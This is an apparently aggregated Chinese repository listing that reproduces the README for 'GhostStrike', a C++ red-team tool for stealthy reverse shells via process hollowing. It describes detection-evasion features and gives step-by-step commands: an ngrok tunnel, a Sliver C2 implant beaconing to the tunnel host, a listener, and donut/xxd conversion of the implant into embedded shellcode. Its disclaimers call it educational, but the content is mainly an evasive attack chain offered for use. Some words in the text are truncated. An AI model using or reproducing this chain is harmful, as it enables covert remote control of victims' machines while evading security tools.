GhostStrike - Deploy stealthy reverse shells using advanced proc

项目说明

GhostStrike ⚔️

GhostStrike is an ad cybersecurity tool designed for Red Team operations, featuring sophisticated techniques to evade detection and perform process hollowing on Windows systems.

---

✨ Features

<ul>
<li><strong>Dynamic API Resolution:</strong> Utilizes a custom hash-based method to dynamically resol APIs, a detection by signature-based security tools.</li>
<li><strong>Base64 Encoding/Decoding:</strong> Encodes and decodes shellcode to obscure its presence in memory, making it more difficult for static analysis tools to detect.</li>
<li><strong>Cryptographic Key Generation:</strong> Generates secure cryptographic keys using Windows Cryptography APIs to encrypt and decrypt shellcode, adding an extra layer of protection.</li>
<li><strong>XOR Encryption/Decryption:</strong> Simple but effecti encryption to protect the shellcode during its injection process.</li>
<li><strong>Control Flow Flattening:</strong> Implements control flow flattening to obfuscate the execution path, complicating analysis by both static and dynamic analysis tools.</li>
<li><strong>Process Hollowing:</strong> Injects encrypted shellcode into a legitimate Windows process, allowing it to execute co without raising suspicions.</li>
</ul>

---

⚙️ Configuration

You can configure GhostStrike with the following steps:

<ol>
<li><strong>Create Ngrok Service:</strong> <code>ngrok tcp 443</code></li>
<li><strong>Generate Sliver C2 Implant:</strong> <code>generate --mtls x.tcp.ngrok.io --sa.exe</code></li>
<li><strong>Create Listener:</strong> <code>mtls --lhost 0.0.0.0 --lport 443</code></li>
<li><strong>Convert to .bin:</strong> <code>./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin</code></li>
<li><strong>Convert to C++ Shellcode:</strong> <code>xxd -i YourFile.bin > YourFile.h</code></li>
<li><strong>Import YourFile.h to this code</strong></li>
<li><strong>Compile and enjoy! 🚀</strong></li>
</ol>

---

💻 Requirements

No additional dependencies are needed to build GhostStrike. Simply compile the source code with your preferred C++ compiler, and you're ready to go!

---

⚠️ Disclaimer

<p>This tool is intended solely for educational purposes and for use in controlled en. Unauthorized use of GhostStrike outside of these settings is strictly prohibited. The author, <strong>@Sti</strong>, takes no responsibility for any misuse or damage caused by this code.</p>

---

🎥 Demo

<p>Check out a li of GhostStrike in action on LinkedIn:</p>

<a href=" style="display: inline-block; padding: 10px 20px; font-size: 16px; color: #fff; background-color: #0a6dff; text-decoration: none; border-radius: 5px; margin-top: 20px;">Watch Demo</a>

项目信息

开发语言：C++

Star 数：825

技术要点

该项目属于红蓝攻防方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Deploy stealthy reverse shells using advanced process hollowing with GhostStrike – a C++ tool for ethical hacking and Red Team operations.展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。